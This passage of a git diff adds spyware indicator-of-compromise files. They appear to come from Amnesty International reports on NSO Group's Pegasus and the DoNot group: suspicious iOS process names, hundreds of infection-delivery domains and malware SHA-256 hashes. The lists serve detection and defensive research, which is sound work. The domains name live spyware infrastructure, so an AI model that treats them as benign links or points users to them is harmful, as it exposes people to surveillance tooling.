"stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.807779Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--60df7324-fa99-4eaa-aca0-3ade50070db9", "created": "2024-01-26T21:28:21.808172Z", "modified": "2024-01-26T21:28:21.808172Z", "relationship_type": "indicates", "source_ref": "indicator--5a505c7d-830e-4931-b2a9-024a29ecf27e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}]} \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/processes.txt b/data/ioc/spyware/amnesty/2021-07-18_nso/processes.txt new file mode 100644 index 0000000..5d60af6 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/processes.txt @@ -0,0 +1,81 @@ +ABSCarryLog +accountpfd +actmanaged +aggregatenotd +appccntd +bfrgbd +bh +bluetoothfs +boardframed +brstaged +brfstagingd +bundpwrd +cfprefssd +ckeblld +ckkeyrollfd +com.apple.Mappit.SnapshotService +com.apple.rapports.events +CommsCenterRootHelper +comnetd +comsercvd +confinstalld +contextstoremgrd +corecomnetd +ctrlfs +dhcp4d +Diagnostic-2543 +Diagnosticd +Diagnostics-2543 +eventfssd +eventsfssd +eventstorpd +faskeepd +fdlibframed +fmld +frtipd +fservernetd +gatekeeperd +GoldenGate +gssdp +JarvisPluginMgr +jlmvskrd +launchafd +launchrexd +libbmanaged +libtouchregd +llmdwatchd +lobbrogd +locserviced +logseld +misbrigd +mobileargd +MobileSMSd +mptbd +msgacntd +natgd +neagentd +nehelprd +netservcomd +otpgrefd +passsd +payload +pcsd +PDPDialogs +pstid +ReminderIntentsUIExtension +rlaccountd +roleaboutd +roleaccountd +rolexd +seraccountd +setframed +smmsgingd +stagegrad +stagingd +vm_stats +keybrd +xpccfd +fnotifyd +tisppd +updaterd +wifip2ppd diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/v2_domains.txt b/data/ioc/spyware/amnesty/2021-07-18_nso/v2_domains.txt new file mode 100644 index 0000000..59a60f3 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/v2_domains.txt @@ -0,0 +1,96 @@ +aalaan.tv +accounts.mx +add-client.com +adjust-local-settings.com +adjustlocalsettings.net +alawaeltech.com +alljazeera.co +appsgratis.com.mx +appsjuegos.com.mx +asrararabiya.co +asrararablya.com +asrarrarabiya.com +bahrainsms.co +banca-movil.com +bbc-africa.com +bestday-sales.com +blackberry.org.mx +bulbazaur.com +bulksender.info +bytlo.com +cell-mcel.info +checkinonlinehere.com +chistedeldia.mx +clubmovistar.com +cnn-africa.co +damanhealth.online +ecommerce-ads.org +emiratesfoundation.net +erty.online +facebook-accounts.com.mx +fb-accounts.com +fbsecurity.co +findgroupon.com +gdfr.online +googleplay-store.com +icloudcacher.com +icrcworld.com +ideas-telcel.com.mx +instangram.com.mx +iusacell-movil.com.mx +kaidee.info +kenyasms.org +khaleejtimes.online +kra.center +manoraonline.net +mcel.info +mcel-update.com +megaticket.info +moz-noticias.com +mozsafety.com +mymensaje-sms.com +mz-vodacom.info +nation-news.com +network190.com +newtarrifs.net +nsoqa.com +ooredoodeals.com +pickuchu.com +pine-sales.com +qaintqa.com +qaoffers.net +redcrossworld.com +remove-client.com +remove-from-mailing-list.com +remove-from-mailinglist.com +remove-subscription.com +sabafon.info +secure-access10.mx +sms-center.info +smscentro.com +smser.net +smsmensaje.mx +sms-sending.net +sms-zone.org +thainews.asia +ticket-selections.com +topcontactco.com +track-your-fedex-package.com +trackyourfedexpackage.net +track-your-fedex-package.org +turkeynewsupdates.com +turkishairines.info +twiitter.com.mx +twiitter.com.mx +uaenews.online +univision.click +unlockaccount.net +unonoticias.net +unsubscribeinhere.com +updatedchargers.com +updatedcharges.net +vamizi.info +webadv.co +whatsapp-app.com +whatsappsupport.net +y0utube.com.mx diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/v3_domains.txt b/data/ioc/spyware/amnesty/2021-07-18_nso/v3_domains.txt new file mode 100644 index 0000000..1727bda --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/v3_domains.txt @@ -0,0 +1,610 @@ +14-tracking.com +1minto-start.com +24-7clinic.com +3driving.com +456h612i458g.com +7style.org +800health.net +911hig11carcay959454.com +accountnotify.com +activate-discount.com +actorsshop.net +actu24.online +addmyid.net +adeal4u.co +afriquenouvelle.com +aircraftsxhibition.com +ajelnews.net +akhbara-aalawsat.com +akhbar-aliqtisad.com +akhbar-arabia.com +albumphotopro.biz +alive2plunge.com +allafricaninfo.com +allbeautifularts.com +alldaycooking.co +allfadiha.co +allladiesloveme.com +all-sales.info +allthecolorsyoulike.com +allthegamesyouneed.com +allthemakeupyouneed.com +allthesongsyoulike.com +alluneed4home.net +android-core.org +android-updates.net +apiapple.com +apiwacdn.com +appointments-online.com +arabnews365.com +arab-share.com +arabworld.biz +arabworldnews.info +around-theglobe.co +ar-tweets.com +atlaslions.info +autodiscount.info +banca-movil.com +bargainservice.online +beautifulhousesaroundme.com +beethoventopsymphonies.com +benjamin-taganga.info +bestadventures4u.com +bestcandyever.com +bestfoods.co +bestfriendneedshelp.com +bestheadphones4u.com +besthotelsaroundme.com +bestperfumesnow.com +bestpresents4all.net +bestsalesaroundme.com +beststores4u.com +bestsushiever.com +better-deal.info +bicyclerentalnow.com +biggunsarefun.com +bl33pon6373.com +blackwhitebags.com +booking-tables.com +boysrbabies.co +breakfastisgood.com +breaking-extranews.online +breakingnewsasia.com +breaking-news.co +breakthenews.net +br-hashtags.com +brighttooth.net +brownandblueeyes.com +browser-update.online +br-travels.com +buildurlife.net +bunchi.club +businesssupportme.com +business-today.info +bussybeesallover.com +buymanuel.co +buypresent4me.net +calendarsapp.com +carrefour-des-affaires.com +cars-to-buy.com +cashandlife.com +casia-news.info +catfoodstorage.net +catsndogsproducts.com +cdnupdateweb.com +cdnwa.com +cell-abonnes.com +cellphonesprices.com +cellular-updates.com +cellularupdates.info +cellular-updates.online +centrasia-news.com +cheapapartmentsaroundme.com +cheaphostingtoday.com +cheapmotelz.net +cheapsolutions4u.com +cheaptransporting.net +check-my-internetspeed.com +chocolateicecreamlovers.com +chocollife.me +chubaka.org +classic-furnitures.com +clickrighthere.online +coffecups.online +coffee2go.org +colorfulnotebooks.com +colorsoflife.online +columbus-parking.com +coolasiankitchen.com +coolbbqtools.net +coolmath4us.net +cool-smartphone-apps.com +coupedumondepro.com +couponshops.info +cpr-appointments.com +cryptocurrecny.com +cryptokoinz.com +cryptopcoinz.com +csomagodjott.com +daily-sport.news +dancinglife.co +deal4unow.com +delivery-24-7.com +dental-care-spa.net +deportesinfo.com +diaspora-news.com +dinneraroundyou.com +discountmarkets.info +discountstores.info +discoveredworld-news.com +dogfoodstorage.net +dogopics.com +doitformom.com +doitforthefame-now.com +do-itonyour-own.com +domain-redirect.com +domainsearching.net +domainsearching.net +domain-security.org +donateabox.co +donateaflower.com +done.events +dowhatyouneed.com +dynamic-dns.net +easybett.online +easy-pay.info +ecommerce-ads.org +economic-news.co +editorscolumn.net +egov-online.com +egov-segek.info +egov-sergek.info +ehistorybooks.com +ehistorybooks.com +elitecarz.net +eltiempo-news.com +emonitoring-paczki.pl +entertainmentinat.com +e-prokuror.info +e-sveiciens.com +eura-cell.com +eurasianupdate.com +eurosportnews.info +event-reg.info +ex-forexlive.com +extrahoney.net +ezdropshipping.net +fabric-shops.com +face-image.com +fadi7apress.com +fantastic-gardens.com +fashion-live.net +fashion-online.net +fashionpark.info +fastfixs.net +femmedaffaire.com +fiestamaghreb.com +files-downloads.com +findavoucher.online +findgoodfood.co +finditout-now.com +findmyass.org +findmyfriendsnow.com +findmylunch.org +findmymind.co +findmyplants.com +findouthere.org +fishingtrickz.com +fitness-for-ever.com +flights-report.com +flights-todays.com +flying-free.online +fofopiko.org +foodforyou.info +foodiez.online +foto-top.info +foudefoot.live +freedominfo.net +freelancers-team.org +free-local-events.info +freshandsoftbread.com +freshsaladtoday.com +fundum8430.com +funinat.com +funinthesun4u.com +funintheuk.com +funnytvclips.com +fwupdating.com +gadgetsshop.info +getagift.info +getoutofyourmind.com +getphotosinstant.net +glassesofwine.com +globalsupporteam.com +golf-news.live +goodcookingonline.com +goodflowersinside.com +good-games.org +goodthoughts4u.com +goroskop.co +gostatspro.com +go-trip.online +gulfca.net +gulf-financials.com +gulf-news.info +hairdresseraroundme.com +halal-place.com +handcreamforyou.com +handymanwood.com +happiness4us.com +hdsoccerstream.com +health-club.online +hellomydaddy.com +hellomymommy.com +highclassdining.net +hmizat.co +holiday4u.work +homeishere.co +homemadecandies.net +host-one-more.com +hotelsauto.co +hotels-review.org +hotelstax.co +hotelsurvey.info +hothdwallpaperz.com +hotinfosource.com +hot-motors.com +housesfurniture.com +housing-update.com +howisurday.com +howtoexplorebirds.com +howtomakeavocadotoastandegg.com +hracingtips.com +icecreamlovesme.com +igiheonline.com +ilovemybeatifulnails.com +ilovemymilf.com +income-tax.online +indrive.info +ineediscounts.com +info24.live +infospotpro.com +infospress.com +insta-foto.net +internetmobilespeed.com +intim-media.net +investigationews.com +in-weather.com +islamic-news-today.com +islamiyaat.com +islam-today.info +islam-world.net +istgr-foto.com +iwantitallnow.com +jaimelire.net +just-one-left.com +karbalaeyat.com +kaspi-payment.com +keyindoors.com +kingdom-deals.com +kingdom-news.com +klientuserviss.com +koramaghreb.com +kurjerserviss.com +labonneforme.net +leadersnews.org +leggingsjustforyou.com +legyelvodas.com +legyelvodas.com +legyelvodas.net +leleader.org +leprotestant.com +lesbonnesaffaires.online +lesportail.biz +liam-ryan.co +license-updater.com +lifedonor.net +like-the-rest.com +live-once.net +loading-images.com +loading-pag.net +localgreenflowers.com +loisiragogo.com +lonely-place.com +looking-for-two.com +lookitupnow.website +look-outsidenow.com +loschismescalientes.com +losnegocios.biz +lost-n-found.net +loveandhatenow.com +maghrebfoot.com +maghrebfunny.biz +mamba-live.com +mapupdatezone.com +massagetax.co +maymknch2026.co +medical-updates.com +megacenter.info +mercedesbenz-vip.com +mideast-today.com +miles-club.com +miralo-rapidamente.com +mobile-softs.com +mobile-update.online +mobile-updates.info +mobileweatherweb.com +mobi-up.net +moh-followup.com +moh-online.com +mondaymornings.co +moneycoincurrency.com +moneydigitalcurrency.com +moneyxchanges.com +mosque-salah.com +mosque-salah.net +mosquesfinder.com +motordeal.info +movie-tickets.online +moyfoto.net +m-resume.com +muftyat.com +muslim-world.info +muzicclips.com +mybrightidea.co +mydailycooking.net +myfiles.photos +myfreecharge.online +mygreathat.com +mykaspi.com +mylovelypet.net +mymobile-cell.com +mypostservice.online +my-privacy.co +mysadaga.com +myshoesforever.com +myshop4u.net +mystulchik.com +mysuperheadphones.co +mysuperheadphones.co +myukadventures.com +nation24.info +nationalleagues.net +nbrowser.org +newandfresh.com +newandroidapps.net +newarrivals.club +newarrivals.club +newcooking.org +newdailycoupons.com +newmodel.online +newmodel.online +newnhotapps.com +news-alert.org +newscurrent.info +newsdirect.online +news-gazette.info +newsofficial.info +newsofgames.com +newsofthemoment.net +newworld-news.com +nightevents.info +noextramoney.com +noloveforyou.com +nomorewarnow.com +noonstore.sale +noor-alhedaya.com +normal-brain.com +nosalternatives.com +nothernkivu.com +noti-global.com +noti-hot.com +noti-hoy.co +notisms.net +notresante-infos.com +nouveau-president.com +nouvelles247.com +novosti247.com +nuevaidea.co +odnoklass-profile.com +offresimmobilier.com +ok-group.org +one-isnot-enough.com +onetreeinheaven.com +online-dailynews.com +onlinefreework.com +onlineshopzm.com +onlygossip.info +only-news.net +onlytoday.biz +onthegoodtime.com +operatingnews.com +orange-updates.com +ourorder.info +outletsaroundme.com +outletstore.tech +papers2go.co +park4free.info +pastesbin.com +pathtogo.net +pay-city.com +paynfly.info +paywithcrytpo.com +phonering4you.com +photo-my.net +pickcard.info +picture4us.com +pine-sales.com +pizzatoyourplace.com +playwithusonline.com +pochta-info.com +politica504.com +politicalpress.org +politiques-infos.info +postainf.net +posta.news +ppcisdead.com +prikol-girls.com +privo7799add.net +promosdereve.com +promotionlove.co +promotionlove.co +puffyteddybear.com +purple-enveloppe.com +quitmyjob.xyz +quran-quote.com +rainingcats.net +readingbooksnow.com +regionews.net +reklamas.info +rentmotors.net +research-archive.com +reseausocialsolutions.co +reservationszone.com +reseufun.com +resolutionsbox.com +restaurantsstar.com +revolution-news.co +rewards-club.info +rockmusic4u.com +rockstarpony.com +rosegoldjewerly.com +rosesforus.com +russian4u.net +saladsaroundme.com +same-old.net +savemoretime.co +saveurday.net +securesmsing.com +sergek.info +services-sync.com +service-update.online +shia-voice.com +shia-voice.com +shoppingdailydeals.net +shortfb.com +shuturl.com +signpetition.co +site-redirecting.com +smarttarfi.com +snoweverywhere.com +soccerstreamingstars.com +social-life.info +somuchrain.com +so-this-is.com +specialgifts4all.com +sportupdates.info +sportupdates.online +sputnik-news.info +starbuckscoffeeweb.com +stars4sale.co +start2playnow.com +starting-from0.com +statisticsdb.net +stopmysms.com +stopsms.biz +sunday-deals.com +supportonline4me.com +surprising-sites.com +sync-cdn.com +syncmap.org +tablereservation.info +takethat.co +tastyteaflavors.com +telecom-info.com +tengrinews.co +theastafrican.com +thebestclassicalmusic.net +thecoffeeilove.com +thehighesttemple.com +thehoteloffers.com +the-only-way-out.com +theshopclub.org +thespaclub.net +theway2get.com +ticket-aviata.info +tiketon.info +tlgr-me.org +tobepure.com +tommyfame.com +top100vidz.com +top10gifts4men.com +top10leadsgen.com +topbraingames4u.com +topten-news.info +touristvaca.com +tradeexchanging.com +traffic-pay.com +traffic-updates.info +travel-foryou.online +travelight.online +traveltogether.link +tricksinswiss.com +trililihihi.com +t-support.net +turismo-aqui.com +tvshowcusting.com +un-limitededitions.com +unsubscribed.co +untoldinfo.net +updateapps.net +upgrade-sim-card.com +upload-now.net +uptownfun.co +urbestfriends.com +url-redirect.com +urlsync.com +urspanishteacher.net +utensils.pro +vanillaandcream.com +vastdealsnow.com +verify-app.online +videosdownload.co +videotubbe.net +vider-image.com +viedechretien.org +vie-en-islam.com +viewhdvideos.com +vipmasajes.com +viva-droid.com +vivrechezsoi.info +vkan-profile.com +volcanosregion.com +waffleswithnutella.com +watersport4u.net +weather4free.com +weatherapi.co +web-config.org +websites4yourhost.com +web-viewer.online +welovebigcakes.com +welovelollipops.com +welovemorningcoffees.com +wewantflowersnow.com +whatcanidowithbirds.com +whats-new.org +whereismybonus.com +whereismyhand.com +whereisthehat.com +windyone.net +wintertimes.co +wonderfulinsights.com +woodhome4u.com +xchange4u.net +xchangerates247.net +xn--nissn-3jc.com +xn--noki-t5b.com +xn--telegrm-qbd.com +xtremelivesupport.com +youcantpass.com +yourbestclothes.com +yourbestefforts.com +yourbestvaca.com +yourgreatestsmartphone.com +yourhotelreservation.info +yummyfoodallover.com +zednewszm.com +zm-banks.com +zm-banks.com +zm-weather.com +zsports-info.com diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/v4_domains.txt b/data/ioc/spyware/amnesty/2021-07-18_nso/v4_domains.txt new file mode 100644 index 0000000..00d3ead --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/v4_domains.txt @@ -0,0 +1,688 @@ +301-redirecting.com +365redirect.co +accomodation-tastes.net +accountant-audio.com +accountcanceled.com +accountsections.com +active-folders.com +additional-costs.com +addresstimeframe.com +ad-generator.net +adscreator.net +adsload.co +ad-switcher.com +advert-time.com +advert-track.com +agilityprocessing.net +alignmentdisabled.net +allergiesandcooking.com +alpharythme.com +apigraphs.net +appleleaveit.co +applicationcreation.net +a-redirect.com +a-resolver.com +arrowowner.com +assembled-battery.com +audienceflake.com +auditorcast.com +authenticangry.com +authenticated-origin.com +authlovebirth.com +autoredirect.net +avocadofight.com +av-scanner.com +awardpractice.com +axis-indication.net +babies-bottles.com +balancewreckpoint.com +bdaynotes.com +beanbounce.net +becomeiguana.com +behindaquarium.com +betterapplesearch.com +betterhandsblack.com +bigseatsout.net +billednorth.com +birdbathmorning.com +biscuit-taste.net +bitanalysis.net +bitfadepens.com +bitforeat.net +black-bricks.net +blindlydivision.com +blockedsituation.net +blogreseller.net +boldconclusion.com +bottlehere.com +boxes-mix.net +brand-tech.net +bubblesmoke.net +bubblesweetcake.com +buildingcarpet.com +buildyourdata.com +bulktheft.com +bulk-theft.net +bullgame.net +bundlestofear.com +bustimer.net +butterdogchange.com +cablegirls.net +calculatesymbols.com +candlealbum.com +carpetdignity.com +cartsafer.com +cashtowebmail.com +catbrushcable.com +celebrateyourdaynow.com +cellphone-inside.org +centersession.com +changesstarted.net +chatresponses.com +cheapcardonline.com +checkboxcart.com +checkboxfee.com +chickenwaves.com +chormnet3.com +classstylemap.com +cleanmiddle.com +clicktrack247.com +clients-access.com +clockmarkcoffee.com +closefly.com +cloudads.net +cloudbiggest.com +clubloading.net +clubsforus.net +companybreakfast.net +computer-set.com +com-reports.net +conditionalcell.com +conference-ballroom.com +confusedmachine.com +connecting-to.com +contacting-customer.com +content-blocking.net +contentsbycase.com +convertedversion.com +cookiescom.com +cookiesoutthere.com +cornclean.com +cottondecay.com +countrytrips.net +crimebackfire.com +crosslocated.net +crowndecoration.net +crownsafe.net +cssgraphics.net +cupscars.net +curiousrabbitgame.com +currentscan.net +currentwestpeople.com +dancersing.net +dashboardprompt.com +databasemeans.net +data-formula.com +deadwordsstory.com +dearlegendseed.com +designednetwork.com +destinytool.net +detailrush.net +deter-individuals.com +devicer.co +dhcpserver.net +diagram-shape.com +diningip.com +directbegins.com +directlyforuse.com +directurl-loading.com +discountads.net +displaytag.net +dns-1.co +dns-analytics.com +dnsclocknow.com +dns-direct.net +dnslogs.net +dnsmachinefork.com +dnsprotector.net +dnsroof.com +dns-upload.com +domain-control.net +domainloading.net +domainport.net +domain-resolver.net +domain-routing.com +domains-resolver.net +domesticwindow.com +donateyouroldclothes.net +donefordeal.com +doorcoffeebrown.com +dotroomeight.com +downgradeproduct.com +dramatic-challenge.com +driventicket.com +eardooraround.com +earsstrawsfive.com +effectivespeech.net +elementscart.com +eliminateadjust.com +e-loading.biz +email-plans.com +energy-dispatch.net +enoughtoday.org +entire-cases.com +equal-gravity.com +estatearea.net +everycolor-inside.com +everyuse.org +exchangenames.net +exchangenerate.com +existingpass.com +exoticsendurance.com +expired-getway.net +expiredsession.com +expiringdate.com +exploreemail.net +extend-list.net +externalprivacy.com +externaltransfers.com +extractsight.com +eyestoip.com +eyesunderspray.com +fadewallwine.com +fallround.com +fallsjuice.com +familyabroad.net +fashioncontainer.net +fastdirect.net +fatpop.net +feature-publish.net +feelbonesbag.com +feeltrail.com +fetchlink.net +filingwarranty.com +financecomments.net +firebulletfan.com +flashobligation.com +flashtraininggoal.com +flynewfries.com +foodeveryhour.com +forgetjustit.com +formatpainter.net +formattingcells.com +forward5costume.com +forward-page.com +free247downloads.com +freeshoemoon.com +functionalcover.com +gadgetproof.net +gate-sync.net +gearstereotype.com +getpoints.net +getspeednows.com +gettingchances.com +gettingurl.com +girlimstill.com +girlsyoulike.com +glasstaken.com +glittercases.net +globalcoverage.co +global-redirect.net +greatcitymore.com +greenbusnoise.com +greensmallcanvas.com +greenwatermovement.com +growstart.net +guardnotes.com +gumclockberry.com +handcraftedformat.com +hardthinmetal.com +hatsampledc.com +healthyguess.com +healthykids-food.com +hearsmugglergarden.com +heavy-flood.com +hillsaround.com +hitrafficip.com +holdingspider.com +holdmydoor.com +holdstory.com +holecatorange.com +horsefingercoffee.com +host-redirect.net +htmlmetrics.com +htmlstats.net +httpaccess.com +humandiven.com +humblebenefit.com +hundredsofdesigns.net +in2date.com +inbox-messages.net +industry-specialist.com +insertfilters.net +investormanage.net +ipjackets.com +ipurlredirect.com +itsthebrowser.com +judgeauthority.com +keepiptext.com +keepthiseasy.com +keynotepalm.com +knowingfun.com +knowseminar.com +landflatheart.com +landstofree.com +laptop-parts.org +last-chainleash.net +lawlowvat.net +layerprotect.com +layoutfill.com +leavehomego.com +legsfriesears.com +letyoufall.com +levelsteelwhite.com +lifenoonkid.com +limitedfeature.com +link-crawler.com +linking-page.com +link-scan.net +linksnew.info +littlefrogalarm.com +lizzardsnail.com +loading-ads.net +loading-domain.com +loadingpage1.net +loadingpage4.net +loading-page.net +loading-url.net +loadingurl.net +loadthatpage.com +looklifewhite.com +lowervalues.com +magicalipone.com +mailappzone.com +maingreatessay.com +mainredirecter.com +managedsnap.com +management-help.com +managingincluded.com +manydnsnow.com +maphonortea.com +martinipicnic.com +mealrentyard.com +meanspursuit.com +medicalcircle.net +merchant-businesses.com +mergeandcenter.com +methodslocal.com +mgifweb.com +mirrorgossip.com +mixershake.net +mixsinger.com +mobilebrowsing.net +mobilephonesme.com +modifytimezone.net +moneycheesecolor.com +moregatesthere.com +morning-maps.com +motiontastebad.com +motivation-go.com +mozillaname.com +multiplecurrencies.com +music-electric.org +music-headphones.org +muziclovers.org +mydarkarms.com +myfundsdns.com +mygummyjelly.com +myheartbuild.com +mylogfrog.com +mymanagement-service.com +mynewbesttime.com +myseesea.com +myself-dns.com +natural-ice.com +navywalls.com +nerdtvfan.com +net-protector.com +netstatistics.net +netvisualizer.com +network-bots.com +networkinfo.org +networkingloading.com +networkingproperty.com +neutralpages.com +neverwayneck.com +newenvelope.net +newipconfig.com +newip-info.com +newredirect.net +news-news.co +nicevibezaction.net +nightscloudwant.com +noodlegray.com +normalseason.com +normal-strength.com +nosemorningnine.com +notificationsneeded.com +noveletters.com +novoicenoprob.net +now-online.net +objectreduction.com +offspringperform.net +old-glasses.net +oldmywater.com +oneleadingchat.com +online-loading.com +onlycart.net +onlywebsite.org +openingquestion.org +operations-delivery.com +operations-shifts.com +opera-van.com +opposedarrangement.net +optionalshift.online +optionstoreplace.com +organicdiamonds.net +ourperfume.net +outgoingurl.com +page-host.net +page-info.com +pageisloading.net +pageredirect.co +pageupdate.co +painruncart.com +painting-walls.com +panelbreed.com +papervoice.net +particularmechanic.net +parties-fun.com +pc-views.net +performinghost.com +permalinking.com +phonemetrics.co +phonestats.net +physicalcheetah.com +pincattape.com +planeocean.com +playfantasticsplastic.com +pleaseusenew.com +pleaseusenew.net +popagency.net +popularmessages.net +port-connection.com +portredirect.net +possibilitytotransfer.com +pourcentfilers.com +poweredbycpanel.com +poweredlock.com +pprocessor.net +practical-basis.net +practicehazard.com +preferenceviews.com +preferring.org +presidentialagent.com +preventadmission.com +preventsusing.com +pride-industry.com +pride-industry.net +pridetomyself.net +primarystrike.net +prioritytrail.net +productsall.net +productsview.co +projectgoals.net +proudmorale.com +pub-dns.com +publishbig.net +purchaseusingcoins.com +puttylearning.com +qualityfeeling.net +quota-reader.net +raininscreen.com +randomlane.net +rapidredirecting.com +raresound.org +raw-console.com +reachcomputer.com +readirectly.com +realmythtrend.com +receiptpending.net +reception-desk.net +recordinglamping.com +redemptionphrase.com +redirect2url.net +redirectchannel.net +redirectcheck.net +redirect-connection.com +redirectconnection.net +redirectdoor.com +redirecteur.net +redirectgate.com +redirectingpage.net +redirecting-url.com +redirectingurl.net +redirectingurl.org +redirection-url.net +redirectit.net +redirectking.net +redirect-link.com +redirectload.com +redirectmotion.org +redirect-net.com +redirectnet.net +redirectool.com +redirect-protocol.com +redirectprotocol.net +redirect-service.net +redirectshare.com +redirect-systems.com +redirect-traffic.net +redirect-tunnel.net +redirect-webpage.net +redirectweburl.com +redirigir.net +reflectextension.net +regularhours.net +related-ads.com +relatedspams.net +reloading-page1.com +reloadinput.com +reloadpage.net +reload-url.com +reload-url.net +renewal-control.net +rentalindustries.com +results-house.net +revoke-dashboard.com +rhymeshey.com +righttriangle.net +roadwide.net +robotscan.net +rockbreakdown.com +safecrusade.com +safe-mondays.net +saltyapplepie.com +scannerservices.net +scaryaudience.com +scriptincluded.com +scriptsinstallers.com +searchjustdont.net +searchunit.net +sec-checker.com +securedloading.com +secured-url.net +secureyouradd.com +securisurf.com +securlaw.com +select-edition.net +send2url.com +sendhtml.net +sendingurl.com +sendingurl.net +seriousprotection.net +servingshade.com +severalheroes.com +sharepassageset.com +shipment-status.org +short-address.com +shortredirect.com +silverodgone.com +simplycode.co +site-lock.net +skillsforest.net +smallperfumerain.com +smallridebar.com +smokeshowshoe.com +smoothurl.com +social-artist.net +social-exercise.com +social-rights.com +sockstubename.com +somewarmremember.com +sparepresence.com +speechenforce.com +speedservicenow.com +spiritualbrakes.com +sportssaint.net +squaretables.net +sslbind.com +standartsheet.com +standstock.net +starreturned.com +startupsservices.net +stationfunds.net +staysystem.net +storageseminar.net +storelive.co +strangegloom.net +strategyroles.com +suitcasesmellnice.com +summermover.com +sunnydaylight.com +sunrise-brink.net +sunsetdnsnow.com +superlinks4u.com +sweetcup.co +sweet-water.org +syncingprocess.com +systemtrees.com +takecarhomes.com +takemallelectric.com +teachskate.com +techhelping.net +telephonequality.com +template-iso.net +tentrosegain.com +thankstossl.com +theappanalytics.com +thefuturearticle.net +theredirect.net +thesimplestairs.com +thoughtfulbundle.com +timelesscelebrity.com +timeofflife.com +tinyurler.com +todoinfonet.com +toggletools.com +tomorrowpastno.com +tookcheckout.com +topadblocker.net +topoems.com +towebsite.net +trade-agreement.com +transferbase.co +transferkeep.com +transferlights.com +transfer-rate.com +trendsymbol.net +trialvariable.net +trianglerank.net +tripleclickpays.com +tunnelprotocol.net +umbrellacover.net +unavailableentry.com +unionofteenagers.com +uniquesite.co +unusualneighbor.com +updating-link.com +updatingpage.com +updating-url.com +updating-url.net +updatingwebpage.com +upkeepno.com +url2all.net +urlconfig.net +url-configure.com +urlconnection.net +urldefender.net +url-direct.com +url-hoster.com +url-loading.com +urlpage-redirect.com +urlpush.net +url-redirect.net +urlredirect.net +urlregistrar.net +urlreload.net +urlscanner.net +urlupdates.com +urlviaweb.com +user-registration.com +varietyjobspaid.org +varietyregistrar.com +vault-encryption.com +viewstracker.com +volcanodistance.com +walkerpost.net +walkhatclock.com +wallagainsthall.com +walltome.com +wasted-nights.com +waterforplants.net +weakdistance.com +web-check.co +web-developper.net +web-domain.net +webexaminer.net +web-hoster.co +web-loading.com +web-loading.net +web-only.net +web-page.co +webpageupdate.co +webprotector.co +webprotocol.net +webresourcer.com +web-scanner.co +websconnector.co +websiteeco.com +websitetosubmit.com +web-spider.net +webstrings.net +websupporter.co +webtunnels.net +webupdater.net +web-url.net +webview-redirect.com +weddingbandsoft.com +wedding-strategy.com +welcomehosting.net +whereismytree.net +whynotyesterday.com +whypillyellow.com +willpurpleshe.com +winfoxflip.com +winter-balance.com +wishdownget.com +without-additional.com +witness-delay.com +wordstore.net +working-online.net +workshopmanager.net +wraptext.net +youaresostupid.net +youintelligence.com +youliehow.com +yourlastchance.net +yousunhard.com diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/v4_validation_domains.txt b/data/ioc/spyware/amnesty/2021-07-18_nso/v4_validation_domains.txt new file mode 100644 index 0000000..aaf8867 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/v4_validation_domains.txt @@ -0,0 +1,26 @@ +baramije.net +documentpro.org +ikomek.info +monawa3ate.org +news-flash.net +oplata-shtraf.info +pay-penalty.info +photo-afisha.net +shtraf.info +tahmilmilafate.com +tahmilmilafate.info +uidebol.info +globalnews247.net +todaysdeals4u.com +telangana-news24.com +tibetnews365.net +jeeyarworld.com +latest-songs.com +bankportal.net +gossipsbollywoods.com +redstarnews.net +secretgirlfriend.net +securedlogin.org +waitingtoload.com +websiteconnecting.com +websitereconnecting.com diff --git a/data/ioc/spyware/amnesty/2021-10-07_donot/README.md b/data/ioc/spyware/amnesty/2021-10-07_donot/README.md new file mode 100644 index 0000000..621f52c --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-10-07_donot/README.md @@ -0,0 +1,3 @@ +# Hackers-for-hire in West Africa: Activists in Togo Attacked with Indian-made Spyware + +This folder contains IOCs related to the report [Hackers-for-hire in West Africa: Activists in Togo Attacked with Indian-made Spyware](https://www.amnesty.org/en/wp-content/uploads/2021/10/AFR5747562021ENGLISH.pdf) (also available in [French](https://www.amnesty.org/fr/wp-content/uploads/sites/8/2021/10/AFR5747562021FRENCH.pdf)) diff --git a/data/ioc/spyware/amnesty/2021-10-07_donot/domains.txt b/data/ioc/spyware/amnesty/2021-10-07_donot/domains.txt new file mode 100644 index 0000000..a80a889 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-10-07_donot/domains.txt @@ -0,0 +1,29 @@ +bulk.fun +apkv5.ppadaolnwod.xyz +apkv6.endurecif.top +getelements.xyz +fiddaz.club +lif0.top +fif0.top +chipp.pw +mimestyle.xyz +mangasiso.top +and.retardrattle.website +help.domainoutlet.site +whynotworkonit.top +spectronet.pw +full.naturalpercent.life +mimeversion.top +rythemsjoy.club +lowlight.xyz +inapturst.top +auth.forwardtoken.website +accounts.loginshare.info +seahome.top +imageview.xyz +flickry.xyz +apkv2.qwertykeypad.host +userauthen.pw +join.officeframe.work +zumba.tampotrust.agency +image.loadingmessage.info diff --git a/data/ioc/spyware/amnesty/2021-10-07_donot/sha256.txt b/data/ioc/spyware/amnesty/2021-10-07_donot/sha256.txt new file mode 100644 index 0000000..149bccb --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-10-07_donot/sha256.txt @@ -0,0 +1,228 @@ +000ddbb75d10a939b54a7ceea5f12563b855daec971a9da0f2b4d5f935e195a3 +03d10d2682093fa126f0eaa5cbfd64eabbb06e151238bba1a7e261468ec4198e +066ae38cc8514c07360049099bf954e3e2470b18b19ff9fc13681b1c2e3089d5 +0848541d0eda16a5c16c920916092fb0e6f1555a9b12df9f8400f70d1b4d387d +0c2494c03f07f891c67bb31390c12c84b0bb5eea132821c0873db7a87f27ccef +0efdd55f9341dcf358872cdb42c943f2457f800886f5cfeb74fa07c0f5c750e9 